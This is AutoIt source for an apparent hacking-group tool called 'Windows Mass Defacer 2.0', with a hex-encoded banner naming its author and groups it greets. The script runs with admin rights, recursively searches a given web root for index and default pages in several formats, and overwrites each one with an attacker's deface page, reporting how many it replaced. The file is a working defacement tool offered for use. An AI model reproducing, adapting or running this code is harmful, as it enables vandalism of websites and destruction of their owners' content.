#NoTrayIcon
#RequireAdmin
#Region ;**** Directives created by AutoIt3Wrapper_GUI ****
#AutoIt3Wrapper_Compression=4
#AutoIt3Wrapper_Compile_Both=y
#AutoIt3Wrapper_UseX64=y
#EndRegion ;**** Directives created by AutoIt3Wrapper_GUI ****
#OnAutoItStartRegister "__Console__StartUp"
Global $__Dll_Kernel32, $__Amount__Startup_Console, $__ConsoleHandle__Output, $__ConsoleHandle__Input, $__ConsoleHandle__Error
Global $_Included_Console = True
Global $defacerpath = ""
Global $rootpath = ""
$time = @HOUR&":"&@MIN&":"&@SEC
;;Get Parameters
ReadCmdLineParams()
If Not FileExists($defacerpath) Then
_Print("["&@HOUR&":"&@MIN&":"&@SEC&"] "&$defacerpath&" Is an Invalid Deface Index Path ! [:/]"&@CRLF)
Exit
EndIf
If Not FileExists($rootpath) Then
_Print("["&@HOUR&":"&@MIN&":"&@SEC&"] "&$rootpath& " Is An Invalid Root Path ! [:/]"&@CRLF)
Exit
EndIf
$globalvariable = 0;we define the global variable for no: of succesful defacing.
Global $avArray[10]
$avArray[0] = "index.html"
$avArray[1] = "index.htm"
$avArray[2] = "index.asp"
$avArray[3] = "index.cfm"
$avArray[4] = "index.php"
$avArray[5] = "default.html"
$avArray[6] = "default.htm"
$avArray[7] = "default.asp"
$avArray[8] = "default.cfm"
$avArray[9] = "default.php"
$countdeface = _ArraySize( $avArray )
$countdeface = $countdeface - 1
If not $countdeface Then
Exit
EndIf
_List()
Func _Replace($array);replaces the file If exists
Local $length, $target
Local $i = 1
$length = _ArraySize( $array )
$length = $length - 1
for $i = 1 To $length
$target = $array[$i]
FileCopy($defacerpath, $target, 9) ; Flag = 1 + 8 (overwrite + create target directory structure)
; Copy the txt-files from source to target and overwrite target files with same name
$globalvariable = $globalvariable + 1
_Print("["&@HOUR&":"&@MIN&":"&@SEC&"] [+] Defacing "&$defacerpath&$target&@CRLF)
Next
EndFunc
Func _List();directory listing recursive
Local $Localdeafce
Local $asi = "0"
for $asi = 0 To $countdeface
Local $Localdeafce = $avArray[$asi]
Local $aArray = _RecFileListToArray($rootpath, $Localdeafce, 1, 1, 0, 2)
If not @error = 1 Then
_Replace($aArray)
EndIf
Next
EndFunc
Func ReadCmdLineParams()
for $i = 1 to $cmdLine[0]
select
;;If the arguement equal -d
case $CmdLine[$i] = "-d"
;check for missing argument
If $i == $CmdLine[0] Then Help()
;Make sure the next argument is not another paramter
If StringLeft($cmdline[$i+1], 1) == "-" Then
Help()
Else
;;Strip white space from the begining and end of the input
;;Not alway nessary let it in just in case
$defacerpath = StringStripWS($CmdLine[$i + 1], 3)
endIf
;;If the arguement equal -r
case $CmdLine[$i] = "-r"
;check for missing arguement
If $i == $CmdLine[0] Then Help()
;Make sure the next argument is not another paramter
If StringLeft($cmdline[$i+1], 1) == "-" Then
Help()
Else
;;Strip white space from the begining and end of the input
;;Not alway nessary let it in just in case
$rootpath = StringStripWS($CmdLine[$i + 1], 3)
EndIf
EndSelect
Next
;Make sure required options are set and If not display the Help Message
If $defacerpath == "" Or $rootpath == "" Then
Help()
EndIf
EndFunc
Func _ArraySize( $aArray )
SetError( 0 )
$index = 0
Do
$pop = _ArrayPop( $aArray )
$index = $index + 1
Until @error = 1
Return $index - 1
EndFunc
Func Help()
$help = "0x2B2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2B0D0A7C20202020202020202020205F5F5F5F20205F2020202020202020202020205F20202020202020202020205F5F5F5F5F205F5F5F5F5F2020202020202020202020207C0D0A7C202020202020202020207C20205F205C7C207C202020202020202020207C207C2020202020202020207C5F2020205F7C20205F5F205C20202020202020202020207C0D0A7C202020202020202020207C207C5F29207C207C205F5F205F20205F5F5F7C207C205F5F20205F5F5F5F5F207C207C207C207C20207C207C202020202020202020207C0D0A7C202020202020202020207C20205F203C7C207C2F205F60207C2F205F5F7C207C2F202F207C5F5F5F5F5F7C7C207C207C207C20207C207C202020202020202020207C0D0A7C202020202020202020207C207C5F29207C207C20285F7C207C20285F5F7C2020203C20202020202020205F7C207C5F7C207C5F5F7C207C202020202020202020207C0D0A7C202020202020202020207C5F5F5F5F2F7C5F7C5C5F5F2C5F7C5C5F5F5F7C5F7C5C5F5C2020202020207C5F5F5F5F5F7C5F5F5F5F5F2F20202020202020202020207C0D0A7C202020202020202020202020202020202020202057696E646F7773204D617373204465666163657220322E302020202020202020202020202020202020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C2F2A2A2A2A2A2A2A2A2"
$help &= "A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A2A5C7C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205573616765203A20576D6173732E657865202D64205B496E64657820506174685D202D72205B53697465204F7220526F6F5420506174685D202020207C0D0A7C20202020204578616D706C65203A20576D6173732E657865202D6420433A5C78447A782E68746D6C202D7220633A5C696E65747075625C777777726F6F745C20207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A2B2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2B0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D204E616D6520202020203A20"
$help &= "57696E646F7773204D61737320446566616365722076322E3020202020202020202020202020202020202020207C0D0A7C20202020205B785D20436F646564206279203A204261636B2D494420202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D20452D6D61696C2020203A20447A5B61745D446973395B646F745D636F6D2020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D205369746520202020203A207777772E446973392E436F6D2020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D2047726565747A2020203A2048696464656E205061696E202D204C6979616E204F7A202D204B6564616E7320447A202D205873732D422020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020204261432E447A202D204B696C6C65722D447A202D2043796233722D445A202D204576214C7343722170545F447A202D205468332056697065722020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C2020202020424C61436B5F53504543545245202D204B6861266D6958202D2"
$help &= "044616D616E6532303131202D205961536D6F7568202D2072613363682020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A7C20202020205B785D205370656369616C203130783A2053656334457665722E436F6D202D2078445A78205465616D202D2049732D5365632E4F72672020202020207C0D0A7C20202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020207C0D0A2B2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2D2B"
$Ascii = BinaryToString($help)
_Print($Ascii)
Exit
EndFunc
_Print(@CRLF&@CRLF&"Started Defacing At "&$time& " And Ended At "&@HOUR&":"&@MIN&":"&@SEC& ".Defaced "&$globalvariable&" Index Pages..[:p]"&@CRLF)
Func _Print($szString, $iAttr = -1)
If Not $__Amount__Startup_Console Then
__Console__CreateConsole()
$__Amount__Startup_Console += 1
EndIf
Local $lpBuffer = DllStructCreate("wchar[" & StringLen($szString) & "]")
DllStructSetData($lpBuffer, 1, $szString)
Local $lpNumberOfCharsWritten = 0
ConsoleWrite($szString)
Switch $iAttr
Case -1
Local $aResult = DllCall($__Dll_Kernel32, "BOOL", "WriteConsoleW", _
"handle", $__ConsoleHandle__Output, _
"ptr", DllStructGetPtr($lpBuffer), _
"dword", StringLen($szString), _
"dword*", $lpNumberOfCharsWritten, _
"ptr", 0)
Return $aResult[0]
Case Else
Local $aResult1 = DllCall($__Dll_Kernel32, "BOOL", "SetConsoleTextAttribute", "handle", $__ConsoleHandle__Output, "word", $iAttr)
Local $aResult2 = DllCall($__Dll_Kernel32, "BOOL", "WriteConsoleW", _
"handle", $__ConsoleHandle__Output, _
"ptr", DllStructGetPtr($lpBuffer), _
"dword", StringLen($szString), _
"dword*", $lpNumberOfCharsWritten, _
"ptr", 0)
Local $aResult3 = DllCall($__Dll_Kernel32, "BOOL", "SetConsoleTextAttribute", "handle", $__ConsoleHandle__Output, "word", 0x7)
Switch $aResult2[0]
Case 0
Return SetError(1,@error,False)
Case Else
Return (($aResult1[0] <> 0) AND ($aResult3[0] <> 0))
EndSwitch
EndSwitch
Return False
EndFunc ;==>Cout
Func __Console__CreateConsole()
If Not $__Amount__Startup_Console Then
$__Amount__Startup_Console += 1
Local $aResult = DllCall($__Dll_Kernel32, "BOOL", "AllocConsole")
$__ConsoleHandle__Output = __Console__GetStdHandle()
$__ConsoleHandle__Input = __Console__GetStdHandle(-10)
$__ConsoleHandle__Error = __Console__GetStdHandle(-12)
Return $aResult[0]
EndIf
EndFunc ;==>__Console__CreateConsole
Func __Console__GetStdHandle($nStdHandle = -11)
Local $aResult = DllCall($__Dll_Kernel32, "handle", "GetStdHandle", _
"dword", $nStdHandle)
Return $aResult[0]
EndFunc ;==>__Console__GetStdHandle
Func __Console__StartUp()
Local $bIsRunningFromScite = StringInStr($CmdLineRaw, "/ErrorStdOut")
Local $bIsRecursed = Execute(StringLeft($Cmdline[$Cmdline[0]],StringLen("/Console=")))
If ($bIsRunningFromScite > 0) AND NOT $bIsRecursed Then
Local $szCommandLine = '"' & @AutoItExe & '" "' & @ScriptFullPath & '" /Console=True'
Local $iReturnCode = RunWait($szCommandline)
Exit $iReturnCode
EndIf
Global $__Dll_Kernel32 = DllOpen("kernel32.dll")
OnAutoItExitRegister("__Console__ShutDown")
EndFunc ;==>__Console_StartUp
Func __Console__ShutDown()
If $__Amount__Startup_Console Then
__Console__KillConsole()
DllCall($__Dll_Kernel32,"BOOL","CloseHandle","handle",$__ConsoleHandle__Output)
DllCall($__Dll_Kernel32,"BOOL","CloseHandle","handle",$__ConsoleHandle__Input)
DllCall($__Dll_Kernel32,"BOOL","CloseHandle","handle",$__ConsoleHandle__Error)
EndIf
DllClose($__Dll_Kernel32)
EndFunc ;==>__Console_ShutDown
Func __Console__KillConsole()
Local $aResult = DllCall($__Dll_Kernel32, "BOOL", "FreeConsole")
Return $aResult[0]
EndFunc ;==>__Console__KillConsole
Func _RecFileListToArray($sInitialPath, $sInclude_List = "*", $iReturn = 0, $iRecur = 0, $iSort = 0, $iReturnPath = 1, $sExclude_List = "", $sExclude_List_Folder = "")
Local $asReturnList[100] = [0], $asFileMatchList[100] = [0], $asRootFileMatchList[100] = [0], $asFolderMatchList[100] = [0], $asFolderSearchList[100] = [1]
Local $sFolderSlash = "", $iMaxLevel, $sInclude_File_Mask, $sExclude_File_Mask, $sInclude_Folder_Mask = ".+", $sExclude_Folder_Mask = ":"
Local $hSearch, $fFolder, $sRetPath = "", $sCurrentPath, $sName
Local $asFolderFileSectionList[100][2] = [[0, 0]], $sFolderToFind, $iFileSectionStartIndex, $iFileSectionEndIndex
; Check for valid path
If Not FileExists($sInitialPath) Then Return SetError(1, 1, "")
; Check if folders should have trailing \ and ensure that initial path does have one
If StringRight($sInitialPath, 1) = "\" Then
$sFolderSlash = "\"
Else
$sInitialPath = $sInitialPath & "\"
EndIf
; Add path to folder search list
$asFolderSearchList[1] = $sInitialPath
; Check for valid recur value
If $iRecur > 1 Or Not IsInt($iRecur) Then Return SetError(1, 4, "")
; If required, determine \ count for max recursive level setting
If $iRecur < 0 Then
StringReplace($sInitialPath, "\", "", 2)
$iMaxLevel = @extended - $iRecur
EndIf
; Create Include mask for files
If $sInclude_List = "*" Then
$sInclude_File_Mask = ".+"
Else
If Not _RFLTA_ListToMask($sInclude_File_Mask, $sInclude_List) Then Return SetError(1, 2, "")
EndIf
; Set Include mask for folders
Switch $iReturn
Case 0
; Folders affected by mask if not recursive
Switch $iRecur
Case 0
; Folders match mask for compatibility
$sInclude_Folder_Mask = $sInclude_File_Mask
;Case Else
; All folders match
EndSwitch
;Case 1
; All folders match
Case 2
; Folders affected by mask
$sInclude_Folder_Mask = $sInclude_File_Mask
EndSwitch
; Create Exclude List mask for files
If $sExclude_List = "" Then
$sExclude_File_Mask = ":" ; Set unmatchable mask
Else
If Not _RFLTA_ListToMask($sExclude_File_Mask, $sExclude_List) Then Return SetError(1, 7, "")
EndIf
; Set Exclude mask for folders
Switch $iReturn
Case 0
; Folders affected by mask if not recursive
Switch $iRecur
Case 0
; Folders match mask for compatibility
$sExclude_Folder_Mask = $sExclude_File_Mask
Case Else
; Exclude defined folders as set in extended
If $sExclude_List_Folder <> "" Then
If Not _RFLTA_ListToMask($sExclude_Folder_Mask, $sExclude_List_Folder) Then Return SetError(1, 8, "")
EndIf
EndSwitch
;Case 1
; All folders match
Case 2
; Folders affected by normal mask
$sExclude_Folder_Mask = $sExclude_File_Mask
EndSwitch
; Verify other parameters
If Not ($iReturn = 0 Or $iReturn = 1 Or $iReturn = 2) Then Return SetError(1, 3, "")
If Not ($iSort = 0 Or $iSort = 1 Or $iSort = 2) Then Return SetError(1, 5, "")
If Not ($iReturnPath = 0 Or $iReturnPath = 1 Or $iReturnPath = 2) Then Return SetError(1, 6, "")
; Search within listed folders
While $asFolderSearchList[0] > 0
; Set path to search
$sCurrentPath = $asFolderSearchList[$asFolderSearchList[0]]
; Reduce folder search list count
$asFolderSearchList[0] -= 1
; Determine return path to add to file/folder name
Switch $iReturnPath
; Case 0 ; Name only
; Leave as ""
Case 1 ;Relative to initial path
$sRetPath = StringReplace($sCurrentPath, $sInitialPath, "")
Case 2 ; Full path
$sRetPath = $sCurrentPath
EndSwitch
; Get search handle
$hSearch = FileFindFirstFile($sCurrentPath & "*")
; If sorting files and folders with paths then store folder name and position of associated files in list
If $iReturn = 0 And $iSort And $iReturnPath Then
_RFLTA_AddToList($asFolderFileSectionList, $sRetPath, $asFileMatchList[0] + 1)
EndIf
; If folder empty move to next in list
If $hSearch = -1 Then
ContinueLoop
EndIf
; Search folder
While 1
$sName = FileFindNextFile($hSearch)
; Check for end of folder
If @error Then
ExitLoop
EndIf
; Set subfolder flag - @extended set in 3.3.1.1 +
$fFolder = @extended
; If folder then check whether to add to search list
If $fFolder Then
Select
Case $iRecur < 0 ; Check recur depth
StringReplace($sCurrentPath, "\", "", 0, 2)
If @extended < $iMaxLevel Then
ContinueCase ; Check if matched to masks
EndIf
Case $iRecur = 1 ; Full recur
If Not StringRegExp($sName, $sExclude_Folder_Mask) Then ; Add folder unless excluded
_RFLTA_AddToList($asFolderSearchList, $sCurrentPath & $sName & "\")
EndIf
; Case $iRecur = 0 ; Never add
; Do nothing
EndSelect
EndIf
If $iSort Then ; Save in relevant folders for later sorting
If $fFolder Then
If StringRegExp($sName, $sInclude_Folder_Mask) And Not StringRegExp($sName, $sExclude_Folder_Mask) Then
_RFLTA_AddToList($asFolderMatchList, $sRetPath & $sName & $sFolderSlash)
EndIf
Else
If StringRegExp($sName, $sInclude_File_Mask) And Not StringRegExp($sName, $sExclude_File_Mask) Then
; Select required list for files
If $sCurrentPath = $sInitialPath Then
_RFLTA_AddToList($asRootFileMatchList, $sRetPath & $sName)
Else
_RFLTA_AddToList($asFileMatchList, $sRetPath & $sName)
EndIf
EndIf
EndIf
Else ; Save directly in return list
If $fFolder Then
If $iReturn <> 1 And StringRegExp($sName, $sInclude_Folder_Mask) And Not StringRegExp($sName, $sExclude_Folder_Mask) Then
_RFLTA_AddToList($asReturnList, $sRetPath & $sName & $sFolderSlash)
EndIf
Else
If $iReturn <> 2 And StringRegExp($sName, $sInclude_File_Mask) And Not StringRegExp($sName, $sExclude_File_Mask) Then
_RFLTA_AddToList($asReturnList, $sRetPath & $sName)
EndIf
EndIf
EndIf
WEnd
; Close current search
FileClose($hSearch)
WEnd
If $iSort Then
; Check if any file/folders have been added depending on required return
Switch $iReturn
Case 0 ; If no folders then number of files is immaterial
If $asRootFileMatchList[0] = 0 And $asFolderMatchList[0] = 0 Then Return SetError(1, 9, "")
Case 1
If $asRootFileMatchList[0] = 0 And $asFileMatchList[0] = 0 Then Return SetError(1, 9, "")
Case 2
If $asFolderMatchList[0] = 0 Then Return SetError(1, 9, "")
EndSwitch
Switch $iReturn
Case 2 ; Folders only
; Correctly size folder match list
ReDim $asFolderMatchList[$asFolderMatchList[0] + 1]
; Copy size folder match array
$asReturnList = $asFolderMatchList
; Simple sort list
_RFLTA_ArraySort($asReturnList)
Case 1 ; Files only
If $iReturnPath = 0 Then ; names only so simple sort suffices
; Combine file match lists
_RFLTA_AddFileLists($asReturnList, $asRootFileMatchList, $asFileMatchList)
; Simple sort combined file list
_RFLTA_ArraySort($asReturnList)
Else
; Combine sorted file match lists
_RFLTA_AddFileLists($asReturnList, $asRootFileMatchList, $asFileMatchList, 1)
EndIf
Case 0 ; Both files and folders
If $iReturnPath = 0 Then ; names only so simple sort suffices
; Combine file match lists
_RFLTA_AddFileLists($asReturnList, $asRootFileMatchList, $asFileMatchList)
; Set correct count for folder add
$asReturnList[0] += $asFolderMatchList[0]
; Resize and add file match array
ReDim $asFolderMatchList[$asFolderMatchList[0] + 1]
_RFLTA_ArrayConcatenate($asReturnList, $asFolderMatchList)
; Simple sort final list
_RFLTA_ArraySort($asReturnList)
Else
; Size return list
Local $asReturnList[$asFileMatchList[0] + $asRootFileMatchList[0] + $asFolderMatchList[0] + 1]
$asReturnList[0] = $asFileMatchList[0] + $asRootFileMatchList[0] + $asFolderMatchList[0]
; Sort root file list
_RFLTA_ArraySort($asRootFileMatchList, 1, $asRootFileMatchList[0])
; Add the sorted root files at the top
For $i = 1 To $asRootFileMatchList[0]
$asReturnList[$i] = $asRootFileMatchList[$i]
Next
; Set next insertion index
Local $iNextInsertionIndex = $asRootFileMatchList[0] + 1
; Sort folder list
_RFLTA_ArraySort($asFolderMatchList, 1, $asFolderMatchList[0])
; Work through folder list
For $i = 1 To $asFolderMatchList[0]
; Format folder name for search
If $sFolderSlash Then
$sFolderToFind = $asFolderMatchList[$i]
Else
$sFolderToFind = $asFolderMatchList[$i] & "\"
EndIf
; Find folder in FolderFileSectionList
For $j = 1 To $asFolderFileSectionList[0][0]
If $sFolderToFind = $asFolderFileSectionList[$j][0] Then ExitLoop
Next
; Set file list indexes
$iFileSectionStartIndex = $asFolderFileSectionList[$j][1]
If $j = $asFolderFileSectionList[0][0] Then
$iFileSectionEndIndex = $asFileMatchList[0]
Else
$iFileSectionEndIndex = $asFolderFileSectionList[$j + 1][1] - 1
EndIf
; Sort files if required
If $iSort = 1 Then
_RFLTA_ArraySort($asFileMatchList, $iFileSectionStartIndex, $iFileSectionEndIndex)
EndIf
; Add folder to return list
$asReturnList[$iNextInsertionIndex] = $asFolderMatchList[$i]
$iNextInsertionIndex += 1
; Add files to return list
For $j = $iFileSectionStartIndex To $iFileSectionEndIndex
$asReturnList[$iNextInsertionIndex] = $asFileMatchList[$j]
$iNextInsertionIndex += 1
Next
Next
EndIf
EndSwitch
Else ; No sort
; Check if any file/folders have been added
If $asReturnList[0] = 0 Then Return SetError(1, 9, "")
; Remove any unused return list elements from last ReDim
ReDim $asReturnList[$asReturnList[0] + 1]
EndIf
Return $asReturnList
EndFunc ;==>_RecFileListToArray
Func _RFLTA_ListToMask(ByRef $sMask, $sList)
; Check for invalid characters within list
If StringRegExp($sList, "\\|/|:|\<|\>|\|") Then Return 0
; Strip WS and insert | for ;
$sList = StringReplace(StringStripWS(StringRegExpReplace($sList, "\s*;\s*", ";"), 3), ";", "|")
; Convert to SRE pattern
$sList = StringReplace(StringReplace(StringRegExpReplace($sList, "[][$^.{}()+\-]", "\\$0"), "?", "."), "*", ".*?")
; Add prefix and suffix
$sMask = "(?i)^(" & $sList & ")\z"
Return 1
EndFunc ;==>_RFLTA_ListToMask
Func _RFLTA_AddToList(ByRef $aList, $vValue_0, $vValue_1 = -1)
If $vValue_1 = -1 Then ; [?] array
; Increase list count
$aList[0] += 1
; Double list size if too small (fewer ReDim needed)
If UBound($aList) <= $aList[0] Then ReDim $aList[UBound($aList) * 2]
; Add value
$aList[$aList[0]] = $vValue_0
Else ; [?][2] array
$aList[0][0] += 1
If UBound($aList) <= $aList[0][0] Then ReDim $aList[UBound($aList) * 2][2]
$aList[$aList[0][0]][0] = $vValue_0
$aList[$aList[0][0]][1] = $vValue_1
EndIf
EndFunc ;==>_RFLTA_AddToList
Func _RFLTA_AddFileLists(ByRef $asTarget, $asSource_1, $asSource_2, $iSort = 0)
; Correctly size root file match array
ReDim $asSource_1[$asSource_1[0] + 1]
; Simple sort root file match array if required
If $iSort = 1 Then _RFLTA_ArraySort($asSource_1)
; Copy root file match array
$asTarget = $asSource_1
; Add file match count
$asTarget[0] += $asSource_2[0]
; Correctly size file match array
ReDim $asSource_2[$asSource_2[0] + 1]
; Simple sort file match array if required
If $iSort = 1 Then _RFLTA_ArraySort($asSource_2)
; Add file match array
_RFLTA_ArrayConcatenate($asTarget, $asSource_2)
EndFunc ;==>_RFLTA_AddFileLists
Func _RFLTA_ArraySort(ByRef $avArray, $iStart = 1, $iEnd = -99)
If $iEnd = -99 Then $iEnd = UBound($avArray) - 1
_RFLTA_QuickSort($avArray, $iStart, $iEnd)
EndFunc ;==>_RFLTA_ArraySort
Func _RFLTA_QuickSort(ByRef $avArray, ByRef $iStart, ByRef $iEnd)
Local $vTmp
If ($iEnd - $iStart) < 15 Then
Local $i, $j, $vCur
For $i = $iStart + 1 To $iEnd
$vTmp = $avArray[$i]
If IsNumber($vTmp) Then
For $j = $i - 1 To $iStart Step -1
$vCur = $avArray[$j]
If ($vTmp >= $vCur And IsNumber($vCur)) Or (Not IsNumber($vCur) And StringCompare($vTmp, $vCur) >= 0) Then ExitLoop
$avArray[$j + 1] = $vCur
Next
Else
For $j = $i - 1 To $iStart Step -1
If (StringCompare($vTmp, $avArray[$j]) >= 0) Then ExitLoop
$avArray[$j + 1] = $avArray[$j]
Next
EndIf
$avArray[$j + 1] = $vTmp
Next
Return
EndIf
Local $L = $iStart, $R = $iEnd, $vPivot = $avArray[Int(($iStart + $iEnd) / 2)], $fNum = IsNumber($vPivot)
Do
If $fNum Then
While ($avArray[$L] < $vPivot And IsNumber($avArray[$L])) Or (Not IsNumber($avArray[$L]) And StringCompare($avArray[$L], $vPivot) < 0)
$L += 1
WEnd
While ($avArray[$R] > $vPivot And IsNumber($avArray[$R])) Or (Not IsNumber($avArray[$R]) And StringCompare($avArray[$R], $vPivot) > 0)
$R -= 1
WEnd
Else
While (StringCompare($avArray[$L], $vPivot) < 0)
$L += 1
WEnd
While (StringCompare($avArray[$R], $vPivot) > 0)
$R -= 1
WEnd
EndIf
If $L <= $R Then
$vTmp = $avArray[$L]
$avArray[$L] = $avArray[$R]
$avArray[$R] = $vTmp
$L += 1
$R -= 1
EndIf
Until $L > $R
_RFLTA_QuickSort($avArray, $iStart, $R)
_RFLTA_QuickSort($avArray, $L, $iEnd)
EndFunc ;==>_RFLTA_QuickSort
Func _RFLTA_ArrayConcatenate(ByRef $avArrayTarget, Const ByRef $avArraySource)
Local $iUBoundTarget = UBound($avArrayTarget) - 1, $iUBoundSource = UBound($avArraySource)
ReDim $avArrayTarget[$iUBoundTarget + $iUBoundSource]
For $i = 1 To $iUBoundSource - 1
$avArrayTarget[$iUBoundTarget + $i] = $avArraySource[$i]
Next
EndFunc ;==>_RFLTA_ArrayConcatenate
Func _ArrayPop(ByRef $avArray)
If (Not IsArray($avArray)) Then Return SetError(1, 0, "")
If UBound($avArray, 0) <> 1 Then Return SetError(2, 0, "")
Local $iUBound = UBound($avArray) - 1, $sLastVal = $avArray[$iUBound]
; Remove last item
If Not $iUBound Then
$avArray = ""
Else
ReDim $avArray[$iUBound]
EndIf
; Return last item
Return $sLastVal
EndFunc ;==>_ArrayPop